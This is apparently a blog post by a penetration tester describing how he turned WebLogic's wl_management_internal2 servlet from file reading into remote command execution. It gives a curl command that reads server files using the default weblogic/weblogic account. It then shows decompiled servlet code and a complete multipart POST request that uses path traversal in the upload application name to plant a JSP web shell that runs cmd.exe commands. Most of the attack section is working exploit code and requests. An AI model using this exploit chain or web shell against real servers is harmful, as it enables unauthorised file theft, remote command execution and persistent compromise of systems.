During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:
curl -s http://127.0.0.1/wl_management_internal2/wl_management -H "username: weblogic" -H "password: weblogic" -H "wl_request_type: file" -H "file_name: c:\boot.ini" |
You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:
total 128 drwxr-xr-x 2 root root 4096 2014-10-03 14:54 ./ drwxr-xr-x 24 root root 4096 2004-06-29 23:18 ../ -rw-r--r-- 1 root root 7073 2004-06-29 23:17 BootstrapServlet$1.class -rw-r--r-- 1 root root 8876 2004-06-29 23:17 BootstrapServlet.class -rw-r--r-- 1 root root 1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class -rw-r--r-- 1 root root 1033 2004-06-29 23:16 FileDistributionServlet$1.class -rw-r--r-- 1 root root 1544 2004-06-29 23:16 FileDistributionServlet$2.class -rw-r--r-- 1 root root 945 2004-06-29 23:16 FileDistributionServlet$3.class -rw-r--r-- 1 root root 956 2004-06-29 23:16 FileDistributionServlet$4.class -rw-r--r-- 1 root root 927 2004-06-29 23:16 FileDistributionServlet$5.class -rw-r--r-- 1 root root 950 2004-06-29 23:16 FileDistributionServlet$6.class -rw-r--r-- 1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class -rw-r--r-- 1 root root 364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class -rw-r--r-- 1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad -rw-r--r-- 1 root root 1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class root@s2crew:/ |
The FileDistributionServlet had the following interesting function:
private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse) throws ServletException, IOException { String s; String s1; InputStream inputstream; boolean flag; String s2; String s3; boolean flag1; s = httpservletrequest.getHeader("wl_request_type"); httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion())); s1 = httpservletrequest.getContentType(); inputstream = null; Object obj = null; flag = true; s2 = null; s3 = httpservletrequest.getHeader("wl_upload_application_name"); flag1 = "false".equals(httpservletrequest.getHeader("archive")); Object obj1 = null; String s4 = null; if(s3 != null) { ApplicationMBean applicationmbean; try { MBeanHome mbeanhome = Admin.getInstance().getMBeanHome(); applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application"); } catch(InstanceNotFoundException instancenotfoundexception) { applicationmbean = null; } if(applicationmbean != null) { File file = new File(applicationmbean.getFullPath()); s4 = file.getParent(); } } if(s4 == null) { s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator; if(s3 != null) s4 = s4.concat(s3 + File.separator); } Object obj2 = null; if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request")) { httpservletresponse.setContentType("text/plain"); Object obj3 = null; try { MultipartRequest multipartrequest; if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true")) { s2 = httpservletrequest.getHeader("adminAppPath"); multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff); } else { multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff); } File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement()); s2 = file1.getPath(); flag = false; if(flag1) { String s5 = s2.substring(0, s2.lastIndexOf(".")); extractArchive(s2, s5); s2 = s5; } ----- CUT ------ |
After the investigating the function, I constructed the following HTTP POST request:
POST /wl_management_internal2/wl_management HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0 Connection: keep-alive username: weblogic password: weblogic wl_request_type: wl_upload_request wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory archive: true Content-Length: XXXX Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919 Content-Length: 959 -----------------------------55365303813990412251182616919 Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp" Content-Type: application/octet-stream // note that linux = cmd and windows = "cmd.exe /c + cmd" <FORM METHOD=GET ACTION='cmdjsp.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } } catch(IOException e) { e.printStackTrace(); } } %> <%=output %> <!-- http://michaeldaw.org 2006 --> -----------------------------55365303813990412251182616919-- |
This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!
;)